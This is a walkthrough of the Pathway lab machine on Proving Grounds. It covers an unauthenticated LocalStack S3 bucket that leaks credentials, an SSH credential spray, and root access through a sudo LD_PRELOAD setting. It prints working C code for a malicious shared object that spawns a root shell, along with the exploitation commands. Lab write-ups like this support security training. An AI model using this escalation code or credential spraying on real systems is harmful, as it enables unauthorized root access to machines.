Pathway Writeup - Proving Grounds
Created October 6, 2026 • Last updated October 6, 2026 • 3 min read
Pathway exposes a LocalStack instance on port 4566 that serves an S3-compatible API with no authentication. An open bucket named internal holds a users.json file with plaintext credentials, which log in over SSH as brian. From there, sudo -l shows env_keep+=LD_PRELOAD on a NOPASSWD binary, and a malicious shared object loaded through LD_PRELOAD runs its constructor as root.
Reconnaissance
Nmap
Scan all TCP ports and fingerprint the services.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 80/tcp open http nginx 1.22.1 3089/tcp open ptk-alink? 4566/tcp open http TwistedWeb 24.3.0
Explain command
| -p- | Scan all 65535 TCP ports. |
| -sCV | Run the default scripts and probe service versions. |
Port 80 is a Bootstrap landing page with a login modal and no real backend. Port 3089 returns HTTP 400 on everything. Port 4566 is Python TwistedWeb 24.3.0, the port LocalStack uses for its S3-compatible object storage, so that is the target.
Whatweb
Fingerprint the web services.
http://$TARGET_IP [200 OK] Bootstrap, Email[info@company.co], HTML5, HTTPServer[nginx/1.22.1], JQuery, PasswordField, Title[Chain App Dev] http://$TARGET_IP:4566 [200 OK] Dreambox[24.3.0], HTTPServer[TwistedWeb/24.3.0], TwistedWeb[24.3.0]
Port 80 is the Chain App Dev site, and 4566 confirms TwistedWeb, the LocalStack S3 front end.
Directory discovery
Brute force directories on both HTTP ports.
# Port 80 [301] /assets -> http://$TARGET_IP/assets/ # Port 4566 [200] /internal
Explain command
| -u | Target URL to brute force, passed twice for both HTTP ports. |
The /internal path on 4566 returns a 200. On a LocalStack S3 endpoint that is a bucket name.
Enumeration
S3 bucket listing
Browsing to the bucket on 4566 returns an S3 ListBucketResult for a bucket named internal, served with no authentication.
<ListBucketResult>
<Name>internal</Name>
<Contents>
<Key>users.json</Key>
<Size>381</Size>
<Owner><DisplayName>webfile</DisplayName></Owner>
</Contents>
</ListBucketResult>
The bucket holds a single object, users.json. The login modal on port 80 was a dead end for SQL injection, so pull the object directly.
Exploitation
Credential extraction
Fetch the object from the open bucket.
The file exposes plaintext credentials for two accounts.
- brian (IT admin):
$BRIAN_PASSWORD - huzaid (helpdesk):
$HUZAID_PASSWORD
Foothold over SSH
Spray both credentials against SSH with NetExec.
SSH $TARGET_IP 22 [+] brian:$BRIAN_PASSWORD Linux - Shell access!
Explain command
| -u | Username to authenticate with. |
| -p | Password to authenticate with. |
brian authenticates and NetExec confirms shell access. Log in over SSH for an interactive session.
Privilege Escalation
Check the sudo rights for brian.
Matching Defaults entries for brian on pathway:
env_reset, mail_badpass, secure_path=..., use_pty, env_keep+=LD_PRELOAD
User brian may run the following commands on pathway:
(ALL) NOPASSWD: /usr/bin/ping
env_keep+=LD_PRELOAD means sudo preserves the LD_PRELOAD environment variable. Any binary run through sudo loads a shared library of our choice before its own code executes, so the binary itself (ping) does not matter. A library constructor fires first. Compile a shared object whose _init() constructor drops into a root shell.
// shell.c
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD"); // clean up to avoid recursion
setuid(0);
setgid(0);
system("/bin/bash");
}
root@pathway:/home/brian# id uid=0(root) gid=0(root) groups=0(root)
Explain command
| -fPIC -shared | Build position-independent shared object code. |
| -nostartfiles | Skip the standard startup files so _init() becomes the entry point. |
| LD_PRELOAD=./shell.so | Force the loader to pull in our library before running the binary. |
The constructor runs under sudo as root before ping starts, giving a root shell.
Related
References
-
LD_PRELOAD abuse via sudo-preserved environment variables.
-
S3-compatible object storage on port 4566, frequently exposed without authentication.